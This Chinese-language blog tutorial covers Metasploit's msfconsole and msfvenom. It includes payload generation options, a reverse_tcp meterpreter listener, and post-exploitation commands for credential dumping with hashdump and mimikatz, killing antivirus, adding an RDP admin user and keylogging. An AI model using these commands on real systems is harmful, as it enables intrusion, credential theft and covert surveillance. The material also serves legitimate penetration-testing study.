msfconsole從入門到放棄

關於msfconsole

msfconsole簡稱msf是一款常用的滲透測試工具,包含了常見的漏洞利用模塊和生成各種木馬。是出家旅行的必備神器,今天我們在一起來回顧下吧。
msfconsole.jpg

msfconsole.jpg

啓動

在終端執行

service postgresql start #啓動postgresql 不啓動也可以
msfconsole
Bash
複製

msfconsole

msfconsole

常見的參數解讀

-p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平臺的

-l, –list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all

-n, –nopsled < length> 爲payload預先指定一個NOP滑動長度

-f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支持的輸出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload

-a, –arch < architecture> 指定payload的目標架構,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目標平臺

-s, –space < length> 設定有效攻擊荷載的最大長度,就是文件大小

-b, –bad-chars < list> 設定規避字符集,指定需要過濾的壞字符例如:不使用 ‘\x0f’’\x00’;

-i, –iterations < count> 指定payload的編碼次數

-c, –add-code < path> 指定一個附加的win32 shellcode文件

-x, –template < path> 指定一個自定義的可執行文件作爲模板,並將payload嵌入其中

-k, –keep 保護模板程序的動作,注入的payload作爲一個新的進程運行

–payload-options 列舉payload的標準選項

-o, –out < path> 指定創建好的payload的存放位置

-v, –var-name < name> 指定一個自定義的變量,以確定輸出格式

–shellest 最小化生成payload

-h, –help 查看幫助選項

–help-formats 查看msf支持的輸出格式列表

Bash
複製

查看所有payloads

–list payloads

使用msfvenom --list encoders可查看所有編碼器

防止假session

在實戰中,經常會遇到假session或者剛連接就斷開的情況,這裏補充一些監聽參數,防止假死與假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion後繼續監聽端口,保持偵聽。
Bash
複製

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 
Bash
複製

默認情況下,如果一個會話將在5分鐘(300秒)沒有任何活動,那麼它會被殺死,爲防止此情況可將此項修改爲0

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 
Bash
複製

默認情況下,一個星期(604800秒)後,會話將被強制關閉,修改爲0可永久不會被關閉

handler後臺持續監聽

msf exploit(multi/handler) > exploit -j -z
Bash
複製

使用exploit -j -z可在後臺持續監聽,-j爲後臺任務,-z爲持續監聽,使用Jobs命令查看和管理後臺任務。jobs -K可結束所有任務。

還有種比較快捷的建立監聽的方式,在msf下直接執行:

msf5 > handler -H 192.168.0.93 -P 5555 -p windows/meterpreter/reverse_tcp
Bash
複製


如上,我們同樣得到了會話。

會話的持久化

方式一:進程的遷移
查看當前shell的進程getid


查看目標運行的進程ps

如:我想將shell的進程變爲 QQProtect.exe 的進程,執行migrate 3604即可。
方式二:
使用 espia

use espia
Bash
複製

獲取憑證

  在內網環境中,一個管理員可能管理多臺服務器,他使用的密碼有可能相同或者有規律,如果能夠得到密碼或者hash,再嘗試登錄內網其它服務器,可能取得意想不到的效果。

1.使用meterpreter的run hashdump命令


因爲我電腦沒有設置密碼,所以這裏沒有hash信息

使用mimikatz

load mimikatz載入模塊
使用wdigest命令獲取登錄過的用戶儲存在內存裏的明文密碼。

操作文件系統

1.文件的基本操作

ls:列出當前路徑下的所有文件和文件夾。
pwd 或 getwd:查看當前路徑。
search:搜索文件,使用search -h查看幫助。
cat:查看文件內容,比如cat test.txt。
edit:編輯或者創建文件。和Linux系統的vm命令類似,同樣適用於目標系統是windows的情況。
rm:刪除文件。
cd:切換路徑。
mkdir:創建文件夾。
rmdir:刪除文件夾。
getlwd 或 lpwd:查看自己系統的當前路徑。
lcd:切換自己當前系統的目錄。
lls:顯示自己當前系統的所有文件和文件夾。

2.文件的上傳和下載
(1) upload
  格式:upload本地文件路徑目標文件路徑
(2)download
格式:download 目標文件路徑 本地文件路徑

其它操作

1.關閉防病毒軟件

run killav
run post/windows/manage/killav
Bash
複製

2.操作遠程桌面

run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp username=test password=test添加遠程桌面的用戶(同時也會將該用戶添加到管理員組)
Bash
複製

3.鍵盤記錄

keyscan_start:開啓鍵盤記錄功能
keyscan_dump:顯示捕捉到的鍵盤記錄信息
keyscan_stop:停止鍵盤記錄功能
Bash
複製

未完待續~🚴🏻🚴🏻🚴🏻

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章